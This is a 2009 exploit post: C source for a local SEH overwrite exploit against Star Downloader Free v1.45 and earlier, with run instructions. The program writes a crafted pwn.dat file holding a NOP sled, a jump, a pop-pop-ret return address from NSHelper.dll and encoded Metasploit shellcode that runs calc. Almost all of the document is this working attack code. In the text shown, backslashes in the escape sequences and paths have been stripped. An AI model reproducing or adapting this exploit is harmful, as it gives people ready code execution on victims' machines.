sdf-overwrite.txt
Posted on 15 April 2009
/* :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ 888_,o8P'88 .d888 888 Y88 MMMMP"` "YmmMMMM"" MMM YM [ Discovered and Exploited by dun ] [ Star Downloader Free <= v1.45 ] (.dat) Universal SEH Overwrite Exploit Vendor: http://www.stardownloader.com Download: http://www.stardownloader.com/sdfree.exe Vuln: LocalFileName=A x 1398 1 run this expl( create file pwn.dat in "C:Program FilesStar DownloaderPartial Downloads" directory ) 2 now run Star Downloader Free 3 .. ;0 [ dun'at'strcpy.pl / 2009 ] */ #include <windows.h> #include <stdio.h> /* /SafeSEH OFF 0x10000000 0x10025000 1, 0, 0, 1 C:Program FilesStar DownloaderNSHelper.dll C:crack>Findjmp2.exe "C:Program FilesStar DownloaderNSHelper.dll" EBX ... 0x100112C2 pop EBX - pop - ret ... */ #define RET 0x100112C2 // pop-pop-ret #define JMP 0x909011EB // short jump (jmp 11) #define NOP 0x90 #define LEN 1390+4+4+40+343 char header1[] = "x5Bx4Fx70x74x69x6Fx6Ex73x5Dx0Ax0Ax55x52x4Cx3Dx68" "x74x74x70x3Ax2Fx2Fx67x6Fx6Fx67x6Cx65x2Ex63x6Fx6D" "x0Ax4Cx6Fx63x61x6Cx46x69x6Cx65x4Ex61x6Dx65x3D"; char header2[] = "x0Ax53x74x61x74x75x73x3Dx53x63x68x65x64x75x6Cx65" "x64x0Ax46x69x6Cx65x53x69x7Ax65x3Dx30x0Ax4Ex75x6D" "x4Fx66x50x61x72x74x73x3Dx2Dx31x0Ax43x61x74x65x67" "x6Fx72x79x3Dx0Ax44x65x73x63x72x69x70x74x69x6Fx6E" "x3Dx0A"; // win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com char scode[] = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34" "x42x50x42x50x42x30x4bx38x45x34x4ex43x4bx48x4ex47" "x45x30x4ax47x41x50x4fx4ex4bx48x4fx44x4ax41x4bx48" "x4fx55x42x52x41x30x4bx4ex49x54x4bx58x46x43x4bx38" "x41x50x50x4ex41x33x42x4cx49x49x4ex4ax46x48x42x4c" "x46x37x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e" "x46x4fx4bx43x46x55x46x32x46x30x45x47x45x4ex4bx48" "x4fx35x46x32x41x30x4bx4ex48x56x4bx58x4ex30x4bx44" "x4bx58x4fx55x4ex31x41x50x4bx4ex4bx58x4ex51x4bx48" "x41x50x4bx4ex49x58x4ex55x46x42x46x30x43x4cx41x33" "x42x4cx46x36x4bx38x42x44x42x53x45x48x42x4cx4ax37" "x4ex30x4bx48x42x54x4ex30x4bx58x42x57x4ex51x4dx4a" "x4bx38x4ax36x4ax50x4bx4ex49x30x4bx48x42x48x42x4b" "x42x50x42x50x42x50x4bx48x4ax56x4ex33x4fx35x41x53" "x48x4fx42x56x48x45x49x38x4ax4fx43x58x42x4cx4bx57" "x42x35x4ax46x42x4fx4cx58x46x50x4fx55x4ax36x4ax59" "x50x4fx4cx38x50x50x47x35x4fx4fx47x4ex43x36x41x56" "x4ex56x43x46x42x30x5a"; int main() { FILE *file; char buf[LEN+1]; char *ptr=buf; memset(buf,NOP,LEN); buf[LEN]=' '; *(unsigned long *)&buf[1389] = JMP; *(unsigned long *)&buf[1393] = RET; ptr+=1390+4+4+40; memcpy(ptr, scode, strlen(scode)); file=fopen("C:\Program Files\Star Downloader\Partial Downloads\pwn.dat","w"); fputs(header1,file); fputs(buf,file); fputs(header2,file); fclose(file); printf("Done.. "); return 0; }
